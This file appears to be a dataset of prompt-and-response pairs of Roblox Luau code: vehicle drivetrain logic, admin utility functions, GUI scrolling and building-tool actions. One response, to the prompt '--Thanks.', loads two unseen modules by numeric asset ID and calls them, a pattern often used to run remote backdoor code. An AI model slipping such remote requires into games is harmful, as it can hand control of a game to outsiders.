			_OutTorque = _OutTorque*math.max(1,(1+iComp))
		else
			_HP,_OutTorque = 0,0
		end

		--Automatic Transmission
		if _TMode == "Auto" and _IsOn then
			_ClutchOn = true
			if _CGear == 0 then _CGear = 1 end
			if _CGear >= 1 then
				if _CGear==1 and _GBrake > 0  and car.DriveSeat.Velocity.Magnitude < 20 then
					_CGear = -1
				else
					if _Tune.AutoShiftMode == "RPM" then
						if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
							_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
						elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
							_CGear=math.max(_CGear-1,1)
						end
					else
						if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
							_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
						elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
							_CGear=math.max(_CGear-1,1)
						end
					end
				end
			else
				if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
					_CGear = 1
				end
			end
		end

		--Average Rotational Speed Calculation
		local fwspeed=0
		local fwcount=0
		local rwspeed=0
		local rwcount=0

		for i,v in pairs(car.Wheels:GetChildren()) do
			if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
				fwspeed=fwspeed+v.RotVelocity.Magnitude
				fwcount=fwcount+1
			elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
				rwspeed=rwspeed+v.RotVelocity.Magnitude
				rwcount=rwcount+1
			end
		end
		fwspeed=fwspeed/fwcount
		rwspeed=rwspeed/rwcount
		local cwspeed=(fwspeed+rwspeed)/2

		--Update Wheels
		for i,v in pairs(car.Wheels:GetChildren()) do
			--Reference Wheel Orientation
			local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
			local aRef=1
			local diffMult=1
			if v.Name=="FL" or v.Name=="RL" then aRef=-1 end

			--AWD Torque Scaling
			if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end

			--Differential/Torque-Vectoring
			if v.Name=="FL" or v.Name=="FR" then
				diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
				if _Tune.Config == "AWD" then
					diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
				end
			elseif v.Name=="RL" or v.Name=="RR" then
				diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
				if _Tune.Config == "AWD" then
					diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
				end
			end

			_TCSActive = false
			_ABSActive = false
			--Output
			if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
				--PBrake
				v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
				v["#AV"].angularvelocity=Vector3.new()
			else
				--Apply Power
				if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
					local driven = false
					for _,a in pairs(Drive) do if a==v then driven = true end end
					if driven then
						local on=1
						if not script.Parent.IsOn.Value then on=0 end
						local throt = _GThrot
						if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end

						--Apply TCS
						local tqTCS = 1
						if _TCS then
							tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
						end
						if tqTCS < 1 then
							_TCSActive = true
						end

						--Update Forces
						local dir = 1
						if _CGear==-1 then dir = -1 end
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
						v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
					else
						v["#AV"].maxTorque=Vector3.new()
						v["#AV"].angularvelocity=Vector3.new()
					end

				--Brakes
				else
					local brake = _GBrake
					if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end

					--Apply ABS
					local tqABS = 1
					if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
						tqABS = 0
					end
					if tqABS < 1 then
						_ABSActive = true
					end

					--Update Forces
					if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
					else
						v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
					end
					v["#AV"].angularvelocity=Vector3.new()
				end
			end
		end
	end


Prompt: -- Fire with stock ray

Response:
function FastCast:Fire(origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData)
	assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("Fire", "FastCast.new()"))
	BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, nil, nil, penetrationData)
end


Prompt: -- go

Response:
	OldPos = torsoPos
	hum:MoveTo(targpos, targ)   --  MoveToward Target


Prompt: -- Gradually regenerates the Humanoid's Health over time.

Response:
local REGEN_RATE = 1/200 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.5 -- Wait this long between each regeneration step.


Prompt: --[[ ALL FUNCTIONS TOGETHER ]]

Response: print("Player: "..player.Name..", Age: "..player.AccountAge..", Days!")


Prompt:
--[=[
	@return boolean
	Returns `true` if the option is None.
]=]

Response:
function Option:IsNone()
	return not self._s
end


Prompt: -- << FUNCTIONS >>

Response:
function module:WaitForEvent(...)
	local event
	local firstArg = ({...})[1]
	if typeof(firstArg) == "Instance" and firstArg:IsA("BindableEvent") then
		event = firstArg
	else
		event = Instance.new("BindableEvent")
	end
	local signals = {}
	for _,e in pairs({...}) do
		if e ~= firstArg then
			signals[#signals + 1] = e:Connect(function()
				event:Fire()
			end)
		end
	end
	event.Event:Wait()
	event:Destroy()
	for _,s in pairs(signals) do s:Disconnect() end
end

function module:CreateSound(props)
	local sound = Instance.new("Sound")
	for propName, value in pairs(props) do
		if propName == "SoundId" then
			value = "rbxassetid://"..value
		end
		sound[propName] = value
	end
	return sound
end

function module:FormatNotice2(noticeName, extraDetails, ...)
	local notice = main:GetModule("CoreNotices"):GetNotice(noticeName)
	notice[2] = string.format(notice[2], ...)
	notice[3] = extraDetails
	return notice
end

function module:FormatNotice(noticeName, ...)
	local notice = main:GetModule("CoreNotices"):GetNotice(noticeName)
	notice[2] = string.format(notice[2], ...)
	return notice
end

function module:RandomiseTable(originalTable, specificSeed)
	local dayId = specificSeed and math.floor(os.time()/specificSeed)
	local sortedTable ={}
	if originalTable[1]~=nil then
		for i=1,#originalTable do
			if specificSeed then
				math.randomseed(dayId+i)
			end
			table.insert(sortedTable,math.random(1,#sortedTable+1),originalTable[i])
		end
	end
	return sortedTable
end

function module:IsPunished(plr)
	if plr and plr.Character and plr.Character.Parent == workspace then
		return false
	else
		return true
	end
end

function module:UnSeatPlayer(plr)
	local humanoid = module:GetHumanoid(plr)
	if humanoid then
		local seatPart = humanoid.SeatPart
		if seatPart then
			local seatWeld = seatPart:FindFirstChild("SeatWeld")
			if seatWeld then
				seatWeld:Destroy()
				wait()
			end
		end
	end
end

function module:GetBanDateString(date, serverDate)
	local minute = date.min or serverDate.min
	local hour = date.hour or serverDate.hour
	local day = date.day or serverDate.day
	local month = main:GetModule("cf"):GetMonths()[date.month or serverDate.month]
	local year = date.year or serverDate.year
	if minute < 10 then
		minute = "0"..minute
	end
	if hour < 10 then
		hour = "0"..hour
	end
	local dayId = tonumber(string.sub(day,-1))
	local dayEnding = "th"
	if dayId < 10 or dayId > 15 then
		if dayId == 1 then
			dayEnding = "st"
		elseif dayId == 2 then
			dayEnding = "nd"
		elseif dayId == 3 then
			dayEnding = "rd"
		end
	end
	return(hour..":"..minute..", "..day..dayEnding.." "..month.." "..year)
end

function module:GetTimeAmount(timeType, d)
	local amount = 0
	local frameName = ""
	if d < 0 then
		d = 0
	end
	if timeType == "m" then
		if d > 60 then
			d = 60
		end
		amount = d*60
		frameName = "Minutes"
	elseif timeType == "h" then
		if d > 24 then
			d = 24
		end
		amount = d*3600
		frameName = "Hours"
	elseif timeType == "d" then
		if d > 100000 then
			d = 100000
		end
		amount = d*86400
		frameName = "Days"
	end
	return amount, frameName, d
end

function module:GetMonths()
	return{
		"January";
		"February";
		"March";
		"April";
		"May";
		"June";
		"July";
		"August";
		"September";
		"October";
		"November";
		"December";
	}
end

function module:AnchorModel(model, state)
	for a,b in pairs(model:GetDescendants()) do
		if b:IsA("BasePart") and not b.Parent:IsA("Accessory") then
			b.Anchored = state
		end
	end
end

function module:TweenModel(model, CF, info)
	local CFrameValue = Instance.new("CFrameValue")
	CFrameValue.Value = model:GetPrimaryPartCFrame()
	local changedEvent
	changedEvent = CFrameValue:GetPropertyChangedSignal("Value"):Connect(function()
		if model.PrimaryPart == nil then
			changedEvent:Disconnect()
		else
			model:SetPrimaryPartCFrame(CFrameValue.Value)
		end
	end)
	local tween = main.tweenService:Create(CFrameValue, info, {Value = CF})
	tween:Play()
	tween.Completed:Connect(function()
		CFrameValue:Destroy()
	end)
end

function module:Movement(state, plr)
	if plr == nil then
		plr = main.player
	end
	local hrp = module:GetHRP(plr)
	local humanoid = module:GetHumanoid(plr)
	if hrp and humanoid then
		if not state then
			local originialSpeed = humanoid.WalkSpeed
			humanoid.WalkSpeed = 0
			wait()
			humanoid.WalkSpeed = originialSpeed
			hrp.Anchored = true
		else
			hrp.Anchored = false
		end
	end
end

function module:SetFakeBodyParts(char, info)
	for a,b in pairs(char:GetChildren()) do
		if main:GetModule("cf"):CheckBodyPart(b) then
			local fakePart = main:GetModule("MorphHandler"):CreateFakeBodyPart(char, b)
			for pName, pValue in pairs(info) do
				if pName == "Material" then
					fakePart.Material = pValue
					if pValue == Enum.Material.Glass then
						fakePart.Transparency = 0.5
					else
						fakePart.Transparency = 0
					end
				elseif pName == "Reflectance" then
					fakePart.Reflectance = pValue
				elseif pName == "Transparency" then
					fakePart.Transparency = pValue
				elseif pName == "Color" then
					fakePart.Color = pValue
				end
			end
		end
	end
end

function module:CheckBodyPart(part)
	if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" and string.sub(part.Name,1,4) ~= "Fake" then
		return true
	else
		return false
	end
end

function module:CreateClone(character)

	if character == nil then
		character = main.player.Character
	end
	local humanoid = character:FindFirstChild("Humanoid")
	if humanoid then

		--Setup clone
		character.Archivable = true
		local clone = character:Clone()
		local cloneHumanoid = clone.Humanoid
		clone.Name = character.Name.."'s HDAdminClone"
		local specialChar = false
		if clone:FindFirstChild("Chest") then
			specialChar = true
		end
		for a,b in pairs(clone:GetDescendants()) do
			if b:IsA("Humanoid") then
				b.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
			elseif b:IsA("BillboardGui") then
				b:Destroy()
			elseif b:IsA("Weld") and b.Part1 ~= nil then
				b.Part0 = b.Parent
				if clone:FindFirstChild(b.Part1.Name) then
					b.Part1 = clone[b.Part1.Name]
				elseif not specialChar then
					b:Destroy()
				end
			end
		end

		--Make clone visible
		--module:SetTransparency(clone, 0)
		clone.Parent = workspace

		--Animations
		local tracks = {}
		local desc = humanoid:GetAppliedDescription()
		local animate = clone:FindFirstChild("Animate")
		if animate then
			for i,v in pairs(clone.Animate:GetChildren()) do
				local anim = (v:GetChildren()[1])
				if anim then
					--anim.Parent = clone
					tracks[v.Name] = cloneHumanoid:LoadAnimation(anim)
				end
			end
			tracks.idle:Play()
		end

		return clone, tracks
	end

end

function module:SetTransparency(model, value, force)
	local plr = main.players:GetPlayerFromCharacter(model)
	if ((plr and main.pd[plr] and main.pd[plr].Items.UnderControl and not force)) or not model then
		return
	end
	local fakeParts = false
	if model:FindFirstChild("FakeHead") then
		fakeParts = true
	end
	for a,b in pairs(model:GetDescendants()) do
		if (b:IsA("BasePart") and b.Name ~= "HumanoidRootPart") or (b.Name == "face" and b:IsA("Decal")) then
			local ot = b:FindFirstChild("OriginalTransparency")
			if value == 1 and b.Transparency ~= 0 and not ot then
				ot = Instance.new("IntValue")
				ot.Name = "OriginalTransparency"
				ot.Value = b.Transparency
				ot.Parent = b
			elseif value == 0 and ot then
				b.Transparency = ot.Value
				ot:Destroy()
			elseif not fakeParts or model:FindFirstChild(b.Name.."Fake") == nil then --string.sub(b.Name,1,4) == "Fake" then
				b.Transparency = value
			end
		elseif (b:IsA("ParticleEmitter") and b.Name == "BodyEffect") or b:IsA("PointLight") then
			if value == 1 then
				b.Enabled = false
			elseif value == 0 then
				b.Enabled = true
			end
		elseif b:IsA("BillboardGui") then
			if value == 1 then
				b.Enabled = false
			elseif value == 0 then
				b.Enabled = true
			end
		end
	end
end

function module:GetMessageTime(msg)
	return(3+(string.len(msg)/30))
end

function module:GetProductInfo(assetId)
	local infoToReturn = {}
	local success, productInfo = pcall(function() return main.marketplaceService:GetProductInfo(assetId) end)
	if success then
		infoToReturn = productInfo
	end
	return infoToReturn
end

function module:CheckIfValidSound(soundId)
	local productInfo = module:GetProductInfo(soundId)
	if productInfo.AssetTypeId == 3 then
		return true
	else
		return false
	end
end

function module:GetChar(plr)
	if plr == nil then
		plr = main.player
	end
	if plr then
		return plr.Character
	end
end

function module:GetHRP(plr)
	if plr == nil then
		plr = main.player
	end
	if plr and plr.Character then
		local head = plr.Character:FindFirstChild("HumanoidRootPart")
		return head
	end
end

function module:GetNeck(plr)
	if plr == nil then
		plr = main.player
	end
	if plr and plr.Character then
		local head = plr.Character:FindFirstChild("Head")
		if head then
			local neck = head:FindFirstChild("Neck")
			local torso = plr.Character:FindFirstChild("Torso")
			if not neck and torso then
				neck = torso:FindFirstChild("Neck")
			end
			return neck
		end
	end
end

function module:GetHead(plr)
	if plr == nil then
		plr = main.player
	end
	if plr and plr.Character then
		local head = plr.Character:FindFirstChild("Head")
		return head
	end
end

function module:GetFace(plr)
	if plr == nil then
		plr = main.player
	end
	if plr and plr.Character then
		local head = plr.Character:FindFirstChild("Head")
		if head then
			local face = head:FindFirstChild("face")
			if face and face.ClassName == "Decal" then
				return face
			end
		end
		return head
	end
end

function module:GetHumanoid(plr)
	if plr == nil then
		plr = main.player
	end
	if plr and plr.Character then
		local humanoid = plr.Character:FindFirstChild("Humanoid")
		return humanoid
	end
end

function module:GetProductInfo(productId, productType)
	local productInfo = {}
	local success, message = pcall(function()
		productInfo = main.marketplaceService:GetProductInfo(productId, productType)
	end)
	if not success then
		--warn("HD Admin | Loader settings incorrect  | "..message)
	end
	return productInfo
end

function module:GetFriends(userId)
	local friendsList = {}
	local success, page = pcall(function() return main.players:GetFriendsAsync(userId) end)
	if success then
		repeat
			local info = page:GetCurrentPage()
			for i, friendInfo in pairs(info) do
				friendsList[friendInfo.Username] = friendInfo.Id
			end
			if not page.IsFinished then
				page:AdvanceToNextPageAsync()
			end
		until page.IsFinished
	end
	return friendsList
end

function module:GetRankName(rankIdToConvert)
	local rankNameToReturn = ""
	for _, rankDetails in pairs(main.settings.Ranks) do
		local rankId = rankDetails[1]
		local rankName = rankDetails[2]
		if rankIdToConvert == rankId then
			rankNameToReturn = rankName
		elseif rankIdToConvert == "Donor" then
			rankNameToReturn = rankIdToConvert
		end
	end
	return rankNameToReturn
end

function module:GetRankId(rankNameToConvert)
	local rankIdToReturn = 0
	for _, rankDetails in pairs(main.settings.Ranks) do
		local rankId = rankDetails[1]
		local rankName = rankDetails[2]
		if rankNameToConvert == rankName then
			rankIdToReturn = rankId
		end
	end
	return rankIdToReturn
end

function module:CheckRankExists(rankName)
	for _, rankDetails in pairs(main.settings.Ranks) do
		if string.lower(rankDetails[2]) == rankName then
			return true
		end
	end
	return false
end

function module:GetUserId(userName)
	local start = tick()
	local userId = main.UserIdsFromName[userName]
	if not userId or userId <= 1 then
		userId = 1
		local success, message = pcall(function()
			userId = main.players:GetUserIdFromNameAsync(userName)
		end)
		main.UserIdsFromName[userName] = userId
		--main.UsernamesFromUserId[tostring(userId)] = userName
	end
	return userId
end

function module:GetName(userId)
	local userIdString = tostring(userId)
	local userIdInt = tonumber(userId)
	local username = main.UsernamesFromUserId[userIdString]
	if not username then
		username = ""
		if userIdInt then
			local success, message = pcall(function()
				username = main.players:GetNameFromUserIdAsync(userIdInt)
			end)
			if not success then
				--warn("HD Admin | Loader settings incorrect  | "..message)
			else
				main.UsernamesFromUserId[userIdString] = username
				--main.UserIdsFromName[username] = userIdInt
			end
		end
	end
	return username
end

function module:FindValue(table, value)
	for i,v in pairs(table) do
		if tostring(v) == tostring(value) then
			return true
		end
	end
	return false
end

return module


Prompt: -- How many seconds to respawn the dummy after it dies

Response: local CanSpawn = true


Prompt: --None of this is mine...

Response:
Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

script.act.OnServerEvent:Connect(function()
wait(0.01)
local ui = script["if you delete this your scripts gonna break homes"]:Clone()                                                              --well done, now you know that you can delete this to not credit me )':
local plr = game.Players:GetPlayerFromCharacter(Tool.Parent)
ui.Parent = plr.PlayerGui
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles
welds[1] = weld1
weld1.Name = "weld1"
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.75, -0.28, 0.45) * CFrame.Angles(math.rad(-90), 0, 0) --- Same as top
welds[2] = weld2
weld2.Name = "weld2"
end
else
print("sh")
end
else
print("arms")
end
end)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles
welds[1] = weld1
weld1.Name = "weld1"
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) --- Same as top
welds[2] = weld2
weld2.Name = "weld2"
end
else
print("sh")
end
else
print("arms")
end;
script.dct.OnServerEvent:Connect(function()
	local ui = script.Parent.Parent.Parent.PlayerGui["if you delete this your scripts gonna break homes"]
ui:Destroy()
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print("sh")
end
else
print("arms")
end
end)


Response:
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Size = UDim2.new(1, -1 * ScrollBarWidth, 1, 0)
MainFrame.Position = UDim2.new(0, 0, 0, 0)
MainFrame.BackgroundTransparency = 1
MainFrame.ClipsDescendants = true
MainFrame.Parent = PropertiesFrame

ContentFrame = Instance.new("Frame")
ContentFrame.Name = "ContentFrame"
ContentFrame.Size = UDim2.new(1, 0, 0, 0)
ContentFrame.BackgroundTransparency = 1
ContentFrame.Parent = MainFrame

scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
	Position = UDim2.new(1,-ScrollBarWidth,0,0);
	Size = UDim2.new(0,ScrollBarWidth,1,0);
	Parent = PropertiesFrame;
})

scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = ScrollBarWidth
Create(scrollBarH.GUI,{
	Position = UDim2.new(0,0,1,-ScrollBarWidth);
	Size = UDim2.new(1,-ScrollBarWidth,0,ScrollBarWidth);
	Visible = false;
	Parent = PropertiesFrame;
})

do
	local listEntries = {}
	local nameConnLookup = {}

	function scrollBar.UpdateCallback(self)
		scrollBar.TotalSpace = ContentFrame.AbsoluteSize.Y
		scrollBar.VisibleSpace = MainFrame.AbsoluteSize.Y
		ContentFrame.Position = UDim2.new(ContentFrame.Position.X.Scale,ContentFrame.Position.X.Offset,0,-1*scrollBar.ScrollIndex)
	end

	function scrollBarH.UpdateCallback(self)

	end

	MainFrame.Changed:connect(function(p)
		if p == 'AbsoluteSize' then
			scrollBarH.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.x)
			scrollBarH:Update()
			scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
			scrollBar:Update()
		end
	end)

	local wheelAmount = Row.Height
	PropertiesFrame.MouseWheelForward:connect(function()
		if scrollBar.VisibleSpace - 1 > wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
		end
	end)
	PropertiesFrame.MouseWheelBackward:connect(function()
		if scrollBar.VisibleSpace - 1 > wheelAmount then
			scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
		else
			scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
		end
	end)
end

scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
scrollBar:Update()

showProperties(GetSelection())

bindSelectionChanged.Event:connect(function()
	showProperties(GetSelection())
end)

bindSetAwait.Event:connect(function(obj)
	if AwaitingObjectValue then
		AwaitingObjectValue = false
		local mySel = obj
		if mySel then
			pcall(function()
				Set(AwaitingObjectObj, AwaitingObjectProp, mySel)
			end)
		end
	end
end)

propertiesSearch.Changed:connect(function(prop)
	if prop == "Text" then
		showProperties(GetSelection())
	end
end)

bindGetApi.OnInvoke = function()
	return RbxApi
end

bindGetAwait.OnInvoke = function()
	return AwaitingObjectValue
end


Prompt: --	print(raycastResult)

Response:
	if raycastResult then
		local hitPart = raycastResult.Instance
		local hum = hitPart.Parent:FindFirstChild("Humanoid")
		if hum then
			result = raycastResult
		end
	end
	return result
end


Prompt:
--[=[
	Retrieves a remote event as a promise
	@class PromiseGetRemoteEvent
]=]

Response:
local require = require(script.Parent.loader).load(script)

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")

local GetRemoteEvent = require("GetRemoteEvent")
local Promise = require("Promise")
local ResourceConstants = require("ResourceConstants")


Prompt: --Thanks.

Response:
local locate = require(4986541548)
locate.detect()

local mymodule = require(4986595724)
mymodule:backup()


Prompt: --v.SGUI.Identifier.Text = Stats.Plate.Value

Response:
v.SGUI.Identifier.Text = game.ReplicatedStorage.Events.Radio.getCS:InvokeServer()
end
end

function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end


Prompt:
--[[
	Initialises the controller, disabling the default roblox ui
]]

Response:
function UIController.init()
	pcall(
		function()
			StarterGui:SetCore("TopbarEnabled", false)
		end
	)

	UserInputService.MouseIconEnabled = false
end


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 20 -- cooldown for use of the tool again

BoneModelName = "True X event" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt:
--[=[
	@param predicate (player: Player, argsFromFire: ...) -> boolean
	@param ... any -- Arguments to pass to the clients (and to the predicate)
	Fires the signal at any clients that pass the `predicate`
	function test. This can be used to fire signals with much
	more control logic.

	:::note Outbound Middleware
	All arguments pass through any outbound middleware (if any)
	before being sent to the clients.
	:::

	:::caution Predicate Before Middleware
	The arguments sent to the predicate are sent _before_ getting
	transformed by any middleware.
	:::

	```lua
	-- Fire signal to players of the same team:
	remoteSignal:FireFilter(function(player)
		return player.Team.Name == "Best Team"
	end)
	```
]=]

Response:
function RemoteSignal:FireFilter(predicate: (Player, ...any) -> boolean, ...: any)
	for _, player in ipairs(Players:GetPlayers()) do
		if predicate(player, ...) then
			self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...))
		end
	end
end


Prompt:
--[[
local previousCollisionGroups = {}

local function setCollisionGroup(object)
	if object:IsA("BasePart") then
		previousCollisionGroups[object] = object.CollisionGroupId

		PhysicsService:SetPartCollisionGroup(object, playerCollisionGroupName)
	end
end

local function setCollisionGroupRecursive(object)
	setCollisionGroup(object)

	for _, child in ipairs(object:GetChildren()) do
		setCollisionGroupRecursive(child)
	end
end

local function resetCollisionGroup(object)
	local previousCollisionGroupId = previousCollisionGroups[object]
	if not previousCollisionGroupId then return end

	local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId)
	if not previousCollisionGroupName then return end

	PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName)
	previousCollisionGroups[object] = nil
end

local function onCharacterAdded(character)
	setCollisionGroupRecursive(character)

	character.DescendantAdded:Connect(setCollisionGroup)
	character.DescendantRemoving:Connect(resetCollisionGroup)
end

local function onPlayerAdded(player)
	player.CharacterAdded:Connect(onCharacterAdded)
end

Players.PlayerAdded:Connect(onPlayerAdded)
]]


Prompt:
--[[
	Model for sort results in the Catalog.
	{
		items =
		{
			"id": string,
			"type": string
		},

        "keyword":string,
        "previousPageCursor": string,
        "nextPageCursor": string
	}
]]

Response:
local SortResults = {}

function SortResults.new()
    local sortResults = {}

	return sortResults
end

function SortResults.mock()
	local self = SortResults.new()

	self.items = {
		id = "",
		type = ""
    }

	self.keyword = ""
	self.previousPageCursor = ""
	self.nextPageCursor = ""

	return self
end

function SortResults.fromSearchItemsDetails(itemDetailsResponse)
	local self = SortResults.new()

	self.items = {}
    for i, itemData in ipairs(itemDetailsResponse.data) do
		self.items[i] = {
			id = tostring(itemData.id),
			type = tostring(itemData.itemType)
		}
    end

	self.keyword = itemDetailsResponse.keyword
	self.previousPageCursor = itemDetailsResponse.previousPageCursor
	self.nextPageCursor = itemDetailsResponse.nextPageCursor

	return self
end

return SortResults


Prompt: -- List of actions that could be requested

Response:
Actions = {

	['RecolorHandle'] = function (NewColor)
		-- Recolors the tool handle
		Tool.Handle.BrickColor = NewColor;
	end;

	['Clone'] = function (Parts)
		-- Clones the given parts

		-- Make sure the given items are all parts
		if not ArePartsSelectable(Parts) then
			return;
		end;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);

		-- Make sure the player is allowed to perform changes to these parts
		if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
			return;
		end;

		local Clones = {};

		-- Clone the parts
		for _, Part in pairs(Parts) do

			-- Create the clone
			local Clone = Part:Clone();
			Clone.Parent = Options.DefaultPartParent;

			-- Register the clone
			table.insert(Clones, Clone);
			CreatedInstances[Part] = Part;

		end;

		-- Return the clones
		return Clones;
	end;

	['CreatePart'] = function (PartType, Position)
		-- Creates a new part based on `PartType`

		-- Create the part
		local NewPart = Support.CreatePart(PartType);
		NewPart.TopSurface = Enum.SurfaceType.Smooth;
		NewPart.BottomSurface = Enum.SurfaceType.Smooth;

		-- Position the part
		NewPart.CFrame = Position;

		-- Cache up permissions for all private areas
		local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player);

		-- Make sure the player is allowed to create parts in the area
		if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then
			return;
		end;

		-- Parent the part
		NewPart.Parent = Options.DefaultPartParent;

		-- Register the part
		CreatedInstances[NewPart] = NewPart;

		-- Return the part
